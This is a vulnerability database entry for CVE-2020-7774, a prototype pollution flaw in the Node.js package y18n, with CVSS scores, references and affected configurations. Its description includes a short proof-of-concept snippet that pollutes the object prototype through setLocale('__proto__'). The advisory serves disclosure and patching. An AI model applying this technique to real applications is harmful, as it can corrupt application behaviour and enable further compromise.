CVE-2020-7774

This affects the package y18n before 3.2.2, 4.0.1 and 5.0.5. PoC by po6ix: const y18n = require('y18n')(); y18n.setLocale('__proto__'); y18n.updateLocale({polluted: true}); console.log(polluted); // true

CVSS v3.0 7.3 HIGH
CVSS v2.0 7.5 HIGH

7.3^/10

CVSS v3.0 : HIGH

Vector :

Exploitability : 3.9 / Impact : 3.4

Attack Vector NETWORK

Attack Complexity LOW

Privileges Required NONE

User Interaction NONE

Confidentiality Impact LOW

Integrity Impact LOW

Availability Impact LOW

Scope UNCHANGED

7.5^/10

CVSS v2.0 : HIGH

Vector : AV:N/AC:L/Au:N/C:P/I:P/A:P

Exploitability : 10.0 / Impact : 6.4

Access Vector NETWORK

Access Complexity LOW

Authentication NONE

Confidentiality Impact PARTIAL

Integrity Impact PARTIAL

Availability Impact PARTIAL

References

Link	Resource
https://github.com/yargs/y18n/issues/96	Exploit Third Party Advisory
https://github.com/yargs/y18n/pull/108	Patch Third Party Advisory
https://snyk.io/vuln/SNYK-JS-Y18N-1021887	Exploit Third Party Advisory
https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1038306	Exploit Third Party Advisory
https://www.oracle.com/security-alerts/cpuApr2021.html

Configurations

Configuration 1 (hide)

OR	cpe:2.3:a:y18n_project:y18n::::::node.js::*
	cpe:2.3:a:y18n_project:y18n::::::node.js::*

Information

Published : 2020-11-17 13:15

Updated : 2021-07-21 11:39

NVD link : CVE-2020-7774

Mitre link : CVE-2020-7774

JSON object : View

Products Affected

y18n_project

y18n

CWE

CWE-20

Improper Input Validation

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